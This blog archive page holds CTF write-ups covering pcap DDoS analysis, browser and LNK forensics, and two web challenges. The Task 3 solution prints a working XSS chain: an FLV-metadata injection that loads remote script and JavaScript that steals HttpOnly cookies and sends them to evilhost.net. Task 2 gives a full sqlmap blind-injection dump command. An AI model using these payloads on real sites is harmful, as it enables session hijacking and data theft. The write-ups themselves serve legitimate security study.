February 2012 Archives

In this problem a team is expected to find top 4 victims of DDoS attack logged in pcap file (73992 entries). Bare wireshark is not that effective in finding top victims, so we wrote some filtering script to produce a kind of overview through the pcap file. Quick and dirty script, which will print all IPs sorted by the number of packets sent to:
use Net::Pcap::Easy;
use Geo::IPfree;

my (%to,%from);

my $gi = Geo::IPfree->new;
my $npe = Net::Pcap::Easy->new(
        dev => "file:./A565CF2670A7D77603136B69BF93EA45.cap",
        default_callback => sub {
                my ($npe, $ether, $ip) = ($_[0],$_[1],$_[2]);
                return 0 unless $ip;
                $to{$ip->{dest_ip}}++; # if $ip->{src_ip} eq '1.2.3.4';
                $from{$ip->{src_ip}}++; # if $ip->{dest_ip} eq '1.2.3.4';
        },
);

1 while $npe->loop;

map{
        print "$_ >$to{$_} <$from{$_}\t# ".($gi->LookUp($_))[1]."\n"
   }sort{
        $to{$b}<=>$to{$a}
   }keys %to;
This script produces output like this
111.221.70.11 >52620 <  # Singapore
1.2.3.4 >12670 <8690    # Australia
109.123.118.42 >2960 <5325      # United Kingdom
174.35.40.44 >637 <1142 # United States
220.73.139.203 >452 <650        # Korea, Republic of
123.214.170.56 >375 <713        # Korea, Republic of
199.7.48.190 >311 <304  # United States
220.73.139.201 >280 <407        # Korea, Republic of
8.8.8.8 >248 <248       # United States
74.125.71.94 >208 <180  # United States
...
Obviously 111.221.70.11 is DoSed with spoofed IPs: 52620 packets sent and none received. It can easily be confirmed in wireshark. Next, 1.2.3.4 is the infected machine, since it is communicates with all other hosts. Next, 109.123.118.42 is a potential target, because of the big disproportion in sent/received ratio. So, that's it for now. Switch to wireshark and try to find RUDY: "http.content_length_header > 10000", 199.7.48.190 seems suspicious. After confirmation you can see that it is RUDY (POST request with a very big Content-Length). To find Slowloris we need to modify the above perl script slightly to find unusual http headers. You might want to prefilter pcap-file by "http.request" in wireshark and save it as. Then modify default_callback with
(split "\n\n",$_[3])[0]=~/X-(\w+)/&&print $1
and you'll see all the unusual headers. In this case there were no Slowloris attack though. Then we decided to go manually through the list of victims from the top. We found the last victim: 66.150.14.48 from United States is attacked with RST flood. Answer format is COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4, so the correct answer is: none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48
Here was a archived Users folder too (C1E4775363DE0885E8360ED9A13A86B8).
So, Forensic 200 task also had a straight way solution. We know that possible place for sensitive information is in browser profile or may be in browser crashdump.
Really, in \Users\proneer\AppData\Roaming\Mozilla\Firefox\Profiles\ you can find a profile 075lfxbt.default.
Mozilla stores in profiles huge amount of juicy info, but in our case we are interested in one special file sessionstore.js (you can read Mozilla article about session store).
This file contains session info in JSON format. You can see very interesting data there:

{"url":"http://forensic-proof.com/", ... 
input[@name='s']:"1_UNI/**/ON_SELECT"} ... 
{"state":"running","lastUpdate":1329009797205 ... 

Well, we have a injection value:"1_UNI/**/ON_SELECT" and timestamp:"1329009797". Convert timestamp to date and time: 2012-02-12 10:23:17+09:00 (Seul timezone).

And our flag is 1_UNI/**/ON_SELECT|2012-02-12T10:23:17+09:00
Well, here we have a archived copy of Windows Users folder (525321B9CEDAF3C8D35FC9071D5DD237).
This is a very easy task, that can be solved in three steps:
  1. Let's find a stolen file, make .xls search in given folders (especially in \Users\proneer\AppData\Roaming\Microsoft\Office\Recent), and you will have: [Top-Secret]_2011_Financial_deals.lnk
  2. Open .lnk-file in SweetScape 010 Editor, then apply a LNK-template, and you take a:
    At offset 34h FileSize -> 2450h -> 9296 bytes
    At offset 24Ah LocalBasePath -> C:\INSIGHT\Accounting\Confidential\[Top-Secret]_2011_Financial_deals.xlsx
    Of course, you can use a really TRUE HACK way, and parse .lnk-file by hands (this article is good point to start).
  3. Last step: prepare the flag.

    import hashlib
    print hashlib.md5('C:\INSIGHT\Accounting\Confidential\[Top-Secret]_2011_Financial_deals.xlsx|9296').hexdigest()
    

    Flag is d3403b2653dbc16bbe1cfce53a417ab1
Task 3 Solution

The truth lays behind the earth --> hint to Flash-based .flv player.
After player decompilation we can see a vulnerable part of code. There was exploitable XSS through .flv metadata (width and height fields):
ns.onMetaData = function (obj)
{
  metaWidth = obj.width;
  metaHeight = obj.height;
  duration = obj.duration;
  ...
  flv._visible = 1;
  if (jsCallback)
  {
    getURL("javascript:flvStart(\'" + metaWidth + "\',\'" + metaHeight + "\')", "");
  } // end if
Then we thought about newest vulnerability in Apache with default 400-error page (http://www.exploit-db.com/exploits/18442/), which allows to steal a HTTPOnly-protected cookies. So we made a malicious .flv-file with modified metadata.

Here was a little problem: flvmeta editor could only add metatags to .flv, and in final .flv file we had a duplicated metainfo. To avoid this bug some strings in flvmeta were commented.
Patch for flvmeta (info.c):
amf_associative_array_add(meta->on_metadata, "lastkeyframetimestamp", amf_nu
...
/*
if (info->video_width > 0)
amf_associative_array_add(meta->on_metadata, "width", amf_number_new(inf
if (info->video_height > 0)
amf_associative_array_add(meta->on_metadata, "height", amf_number_new(in
*/

video_data_rate = ((info->real_video_data_size / 1024.0) * 8.0) / duration;
...

Then we made a EVIL.flv file, which injects a JS-sploit into htmlpage, and finally this sploit stole ALL user cookies. Link to this magic file was sended through feedback form on site.

http://208.64.122.30/player.swf?flvToPlay=http://kyprizel.net/ctf/TN11.flv&autoStart=true&autoreplay=false&hiddenGui=false&jsCallback=true

PROFIT!

./flvmeta -U --add=width="'+(e=document.createElement('script'),e.src='http://kyprizel.net/ctf/pureevilpart3.js',document.body.appendChild(e))+'" EVIL.flv


JS pureevilpart3.js:
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding="";
for (j=0;j<=1000;++j) 
{
  padding+="A";
}
for (i=0;i < 10; ++i) 
{
  document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; path=/;"
}
function handler() 
{
  if (!gotCookie && this.responseText.length > 1) 
  {
    text = /(Cookie[^;]*)/i.exec(this.responseText);
    location.href='http://evilhost.net/?c='+escape(text);
    gotCookie=true;
  }
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open("GET", "/httponly.php");
xhr.send();
Task 2 Solution First hint was on Support contact page, we can see here a message with login "support01". But where was password? Well, we check all pages of site and finally there was vulnerability in: http://208.64.122.30/web002/?page=spaceships&more=. Spaceships page showed a list of files, the interesting one was win-executable: http://208.64.122.30/web002/hlds.exe Some reverse engineering of this file gave us hash generation algorithm:
import hashlib
name = 'support01'
s = ''
for x in name:
  s += '%d' % ord(x)
print hashlib.md5(s).hexdigest()
First flag we can see in userspace of our registered users. Second vulnerability (blind SQLi) was in User-agent header in support userspace. So, we used sqlmap tool with such commandline options: ./sqlmap.py -u "http://208.64.122.30/web002/?page=userspace" -p user-agent --cookie="PHPSESSID=li8hk6f8g29e4lickdhh2jhjs5" --technique=T --risk=5 --level=5 --dbms=mysql --tables --time-sec=2 -D chall --dump Database: chall Table: flag0x55558879 <-- second flag here +--------------------------------------------------------+----+ | elkfjhOIEIUEIIUIUIIUOOIIU77 <--third flag here | 14 | +--------------------------------------------------------+----+

About this Archive

This page is an archive of entries from February 2012 listed from newest to oldest.

January 2012 is the previous archive.

March 2012 is the next archive.

Find recent content on the main index or look in the archives to find all content.